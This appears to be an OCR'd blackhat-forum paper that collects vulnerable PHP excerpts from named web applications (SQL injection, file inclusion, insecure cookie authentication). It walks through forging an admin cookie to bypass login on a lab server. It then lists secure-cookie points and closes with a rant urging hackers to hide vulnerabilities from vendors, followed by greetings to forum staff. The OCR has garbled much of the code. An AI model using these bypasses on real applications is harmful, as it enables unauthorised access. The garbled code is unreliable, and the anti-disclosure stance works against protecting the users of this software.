while($row = mysql_fetch_object($result)){
$content = $row->text;
$titlecontent=$row->title;
$subtitle=$row->keywords;
}
>
<?
include "./design/content.php";
echo $content;
include "./design/footer.php";
7>
</body>
</html>
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HoMaP-CMS 0.1

http://sourceforge.net/projects/homap

File: /index.php

if(lisset($_REQUEST['go"])) {
$_REQUEST['go'] = $_settings['startpage'];
/}/$_REQUEST[‘parm'] = $_settings['startpram'];
$base_db->q("SELECT * FROM plugins WHERE name ="".$_REQUEST['go'."");
if($base_db->n() != 0) {

$res= $base_db->a();

include($_settings['pluginpath'].$res['name']."/".$res['pluginfile']); // das Plugin wird
geladen

}

Butterfly Organizer 2.0.1

http://www.butterflymedia.ro/products/organizer/

File: /view.php

<?php
include(‘includes/top.php");

echo '<h2>Site Details</h2>";

$mytable = $_GET['mytable'];
$id = $_GET['id'];

$result = mysql_query("SELECT * FROM ".$mytable." WHERE id=$id",$database);
$myrow = mysql_fetch_array($result);
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BibCiter 1.4

http://bibciter.sourceforge.net/

File: /functions/functions_queries.php

<?php

function get_vatitle($idregister,$idregistervalue,$nameregister,$tableregister,$pretitle) {
$vartitle = "SELECT $nameregister FROM $tableregister WHERE
($idregister=$idregistervalue)";

$vartitle = mysql_query(S$vartitle) or die("error functions_queries line 4");

$vartitle = mysql_fetch_array($vartitle);

extract($vartitle);

$title = $pretitle." &raquo; ".$$nameregister;

return $title;

}

A Vulnerable function which is used through out the vulnerable application, such as in contacts.php.

File: /reports/contacts.php

<?php
$idc=$_GETT[idc];

if ($oneauthor_id != NULL AND $oneauthor_id != 0 AND $_SESSION['type_user_session']!="admin")
{ $idc = $oneauthor id; }

if ($idc == NULL) {$idc = 1;}

$idtp=$_GETIid_type_project]; $year_project_filtered=$_GET[year_project];

$bibstyle = $_GETIbibstyle];

if ($oneauthor_id != NULL AND $bibstyle == NULL) {$bibstyle = $oneauthor_bibstyle;}

if ($bibstyle == ""){$bibstyle = "normal";}?>

<?php $Stitlelit = __('Author'); $title = get_vatitle('id_contact',$idc,'dummyname_contact','contacts',$titlelit); ?>
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Grestul 1.0.7
http://grestul.com/

File: /admin/login.php

<?php session_start();
/**
* Copyright 2008 Grestul Group

* Powered by Grestul
*k

include 'inc/config.php';

$username = SafeAddSlashes($_POST['username']);
$passcode = SafeAddSlashes(md5($_POST['passcode']));
$time = time();

$check = SafeAddSlashes($_POST]['setcookie']);

$query = "SELECT user, pass FROM grestullogin WHERE user = '$username' AND pass =

'$passcode™;

$result = mysql_query($query, $db);

if(mysql_num_rows(S$result)) {

$_SESSION['loggedin'] = 1;

if($check) {
setcookie("grestul[username]", $username, $time + 3600);
setcookie("grestul[passcode]", $passcode, $time + 3600);

}
header('Location: home.php");
exit();

}

else {
header('Location: index.php?inv=1");
exit();

}

>

Page 102


http://hypersilence.net/files/silentum_loginsys.zip

Kjtechforce mailman Beta-1

http://sourceforge.net/projects/kjtechforce/

File: /activate.php

if(lempty($_GET['code']) && strlen($_GET['code'])==40){
require_once "dao/ActivatorDao.class.php";

$code = h($_GET['code']);
$actdao = new ActivatorDao($code);

if($actdao->isExistsCode()){
$user_id = $actdao->getUserld();

require_once "dao/MailManUserDao.class.php";
$dao = new MailManUserDao($user_id);
$dao->setActivated();

$command = array('Congraturation ! <a href="./index.php?id=".
$user_id.'&dest=">go index</a>");

$actdao->delete();
telse{
$command = array('<strong>'.$code.'</strong> is not found');

}

File: /dao/ActivatorDao.class.php

public function ActivatorDao($_code){

public function delete(){
$this->connect();
$sql = "DELETE FROM mailman_activator WHERE code="".$this-

>code."";

// echo '[DEBUG]".$sql.'<br/>";
$count = $this->pdo->exec($sql);
$this->close();
$this->exists = true;
return $count;

}

}

>
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Insecure Cookie Handling

Cookies Explained

What Is A Cookie?
A HTTP Cookie is a small amount of text sent from a Web Server to a Client Web Browser, this text is stored

as a file on hard disk which is read by the browser. Each time the client makes a request from the server, the

cookie is read and sent to the web server.

What Are Attributes of a Cookie?

setcookie(name, value, expire, path, domain);

Name - The name of the Cookie in the $_COOKIE[] array.

Value - The value to be stored inside the cookie, multiple values are usually separated by a colon.
Expire - When the Cookie will expire and no longer be sent by the client browser to the web server.
Path - The path of the file on the server.

Domain - The domain name of the web site you are accessing.

What Are Cookies Used For?

Cookies are used by the web server to identify different users of a web application.

With out the use of HTTP Cookies HTTP Transactions would be stateless and requests of different PHP
pages would just be individual unrelated requests.

Cookies can be used for storing an identifier on the client that can be sent to the web server that can be
referenced. Cookies may be used to hold an identifier to relates to a $_SESSION][] variable that holds
information on the user.

Cookies are of course also used for authentication, they usually contain a username, password and

sometimes another identifier.
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Exploiting Insecure Cookie Handling

| have made a simple example to demonstrate the Creation and Management of a cookie for access to an
“Administrator page”. In this example there are 2 PHP Files (one for Cookie Creation, and one for

Authentication) and a HTML Form that POST's a Username and Password for identification.

HTML Form Code:

<form action="InsecureCookieCreation.php" method="post">
Username: <input type="text" name="username" />

<BR>

Password: <input type="text" name="password" />

<input type="submit" value="Login" />

</form>

Eile Edit View Bookmarks Widgets Tools Help

B x
““http://10.0.0.4/Ins... H-O

“« @ 5 W &J(y #° | 3 http:/f10.0.0.4/InsecureCookieHandling/InsecureCookieForm.htmil

Username:

Password: Login

B BH - (Q 100% «

The username and password that Is POST by the HTML Form is sent to InsecureCookieCreation.php.
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InsecureCookieCreation.php
<?php

ob_start();

$myusername = "admin";
$mypassword = "1ns3cur3";

$myemail = "admin@server.com";

$username = $_POST['username'];
$password = $_POST['password'];

if($username == $myusername && $password == $mypassword)

{
echo "Sucessfully logged into the system.";
setcookie("usercred", $username . ":" . $myemail, time()+60*30);
echo '<FORM METHOD="LINK" ACTION="InsecureCookieAuth.php">";
echo '<INPUT TYPE="submit" VALUE="Admin Panel">";
echo '</FORM>";

}

else

{
echo "Error: Login credentials not valid.";

}

>

In the example both the admin username, admin password and email are hard coded into the PHP script.
Since this is just an example there is no need for the script to have database access, although this would

usually be the case.
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File Edit View Bookmarks Widgets Tools Help

" http://10.0.0.4fins...

4 4« 5 » 9 l:g #°  # http://10.0.0.4/InsecureCookieHandling/InsecureCookieCreation.php - -

Sucessfully logged into the system.

Admin Panel

B BH - O 100% -

Once the user is authorised a cookie is created for authentication that contains the username and user email

separated by a colon.

The user can then proceed to the Administration page where the cookie is authenticated.

InsecureCookieAuth.php

<?php
header("Location: InsecureCookieAuth.php");

if (isset($_COOKIE['usercred']))

{
$authcred = split(":", $_COOKIE['usercred']);
$username = $authcred[0];
$useremail = $authcred[1];
if ($username == "admin" && $useremail == "admin@server.com")
{
echo "Administration Panel";
}
}
else
{

echo "Login session expired or invalid.";

}

7>
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Reviewing the above code you will find that clearly the Cookie Authenication is insecure. The admin
username and admin email are checked which are contained in the cookie created. The problem with this is
that both the admin username and admin email are not necessarily private pieces of information. With most
web application software such as Forums or Content Management Systems these could probably be some

how obtained or guessed (possibly default username and same email as Administrator whois).

If delete the created cookie and try to go the page where the Authentication is done, access is not given.

Eile Edit View Bookmarks Widgets Tools Help

' http://10.0.0.4/Ins... z

“q« @& S5 » ‘fu I.!.' " 3 http://10.0.0.4/InsecureCookieHandling/InsecureCookieAuth.php - v

Login session expired or invalid.

i BE - Q 100% v
However we can easily forge a cookie to allow us access, this is usually referred to as Cookie Poisoning.

[Value] Contents of Forged Cookie:

admin%3Aadmin%40server.com

In Opera you can go to Tools - Advanced - Cookies and edit cookies that have been created. Although

you cannot create them. So to do this | would recommend using Firefox with the Add N' Edit Cookies plug-in.
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Server

10.0.0.4

MName

usercred

Value

admin%3Aadmin%40server.com

Expires Last wvisited

2012-12-21 11:11:00

Secure Only sent to creator

Mo Yes
Version

0

After creating the forged cookie we can then navigate to the Administration panel to be authenticated and
authorised to view the page.

Eile Edit View Bookmarks Widgets Tools Help

v X
http://10.0.0.4/Ins...

H & 5 » ‘ﬂ m #° 3 http://10.0.0.4/InsecureCookieHandling/InsecureCookieAuth.php . .

Administration Panel

8 BN - [ 100% ¥
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Secure Cookie Handling

Secure Cookie Creation and Management in web applications doesn't just involve any one single factor.
There are a number of factors that contribute both to the security and vulnerability of cookies used for

Session Management, usually containing a session “key” or “ticket”.

Secure Cookie Management - Points of Focus

*Cookies should be transmitted securely, strong (and not flawed) encryption must be used.
*Cookies should not contain passwords, whether in plain text, encrypted or hashed.
*Cookies contents should not contain sensitive information.

*Authentication should not be done with an SQL Query formed from Cookie contents.
*Cookies should not contain permissions.

*Generated Session Keys or Tickets need to be generated securely.
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Examples of Insecure Cookie Handling

Silentum LoginSys 1.0.0

http://hypersilence.net/files/silentum loginsys.zip

File: login2.php

$login_user_name = $_POST["login_user_name"];
$login_password = $_POST["login_password"];
$logged_in_for = $_POST["logged_in_for"];

if($login_user_name != $user_name || $login_password != $password) {
header("Location: login.php?message=Invalid+user+name-+or+password.");
exit;
}
else {
setcookie("logged_in", $login_user_name, time()+60*60*24*$logged_in_for, "/");
header("Location: index.php");
exit;

}

RSMScript 1.21
http://www.shock-therapy.org/RSMScript.htm

File: /verify.php

if($admin_pass == $code)
{
setcookie("verified", "null", time()+1800);
header( refresh: 0; url=update.php' );
}
else
{
header('refresh: 2; url=admin.htm' );
echo "<center><h2>Access Denied</h2></center>";
} //else

File: /submit.php

if (lisset ($_COOKIE[ "verified"]))
{

header( refresh: 0; url=admin.htm');

}
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Gobbl CMS 1.0
http://www.gobbl.net/index.php?p=Gobbl|%20cms

File: /admin/auth.php

<?php
include ('../config.php");

$user = $_POST['user'];
$pass = $_POST['pass'];

if (($user == $un) and ($pass == $pw) )
{
setcookie( "auth", "ok", time()+40000 );
header ( "location:add.php" ); exit ();

}

else

{
header ( "location:index.php" ); exit ();
}

7>

File: /admin/auth2.php

<?php

$auth = $ COOKIE['auth'];

header( "Cache-Control:no-cache" );
if( ! $Sauth == "ok" )

{
header ( "location:index.php" ); exit ();

}

>
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OwenPoll 1.0

http://www.owentechkenya.com/owenpoll/

File: /checkloginmini.php

// get login details
include (‘incsec/incadminconn.php);

// see if details match
if (($loggedinname == $adminusername) AND ($loggedinpass == $adminpass)){
// authentication was successful
// create session and set cookie with username
session_start();
$_SESSION['auth'] = 1,

setcookie("username", $_POST(['txtusername'], time()+(86400%30));

header("Location: polladmin.php");

echo "<head><title>Login Successful</title></head>";

echo "<body style=\"background-image: url(images/bkg.gif);\">";

echo "<center>";

echo "<font face = \"Verdana\" size = \"2\">";
echo "<b> Welcome, $loggedinname. Access granted!</b><br /><br>";
echo "<a href = \"polladmin.php\">Click here to continue to Admin

Menu.</a>";
telse {

// authentication failed

echo "<head><title>Login Failed</title></head>";

echo "<body style=\"background-image: url(images/bkg.gif);\">";

echo "<center>";

echo "<font face = \"Verdana\" size = \"2\">";

echo "ERROR: Incorrect username or password!<br />";

echo "<a href = \"polladminlogin.php\">Click here to try again.</a>";

}

telse {

File: /incsec/inccheckifloggedin.php

<?php
if (1$_SESSION['auth'] == 1) {
/I check if authentication was performed
echo "<center>";
echo "<font face = \"verdana, tahoma\" size = \"2\">";
echo "You are not logged in.<br>";
die("<a href = \"polladminlogin.php\"> Please click here to log in.</a>");
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REQUIRED READING - ANTI-DISCLOSURE

You may think that publishing exploits is a good idea, you may think “it's not like it can do much harm.”
Well the fact is it does, and it isn’t just to other people who are exploited by script kiddies.

If you keep publishing the bugs you find, they will soon disappear or rather annoying
protection schemes will be put in place to try and stop exploitation.

Hackers (or what ever you want to call yourself) shouldn’t have to help programmers with

their poor programming. If you find vulnerability in a piece of software, keep it private.

Reasons Why Not To Publish Exploits (Or Vulnerability Information):

* Gives script kiddies more tools in their already large arsenal.

* Software Vendor is notified or finds out about vulnerability, vulnerability is patched.

* Programmers become more aware of bad coding habits/techniques and security conscious, leaving less
room for mistakes, and of course exploitation.

* Programmers and Developers should learn to take responsibility (responsibility to the responsible) for
their own security if they wish to have it.

* Your feeding the Security Industry and giving them exactly what they want.

* You will make more people aware of the bug, the security industry will be more than happy to fear monger.

IT Security “experts” love to take credibility for providing security solutions to security vulnerabilities.

FUCK FULL DISCLOSURE, FUCK THE SECURITY INDUSTRY.
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Greetz To

rOrkty - Thanks very much for joining the BHF Staff and making a huge contribution to the community.

D4rk - Thank you very much for your input into BHF, was great having you as part of the 4 Administrators

(back in the day) of BHF.

Edu19 - Thanks for being there since the beginning when BHF was founded and continuing the entire time

to have a positive attitude and invest your effort into the community.
ParanoidE - Thanks for your excellent moderation of BHF.

disablmalfunc = Thanks for being part of the staff, | do appreciate your contribution, a pity you had to part

ways with BHF, although obviously we all move on.
Caronet = | like having you around the community :)
DarkPontifex - Good to have you around the community.
XOR = Thanks for the graphics done for BHF.

TuNa = One of my favourite BHF Super Moderators.

And all other Blackhat-Forums Staff Members & BHF Contributors Past, Present and Future.

oHawko - The only ex-Blackhat-Forums staff member | will not say “Greetz"” to.

| am not sorry for pointing out that your house was on fire so to speak, you know what | am talking about.

As of June 2009, | have officially retired as an Administrator of Blackhat-Forums.
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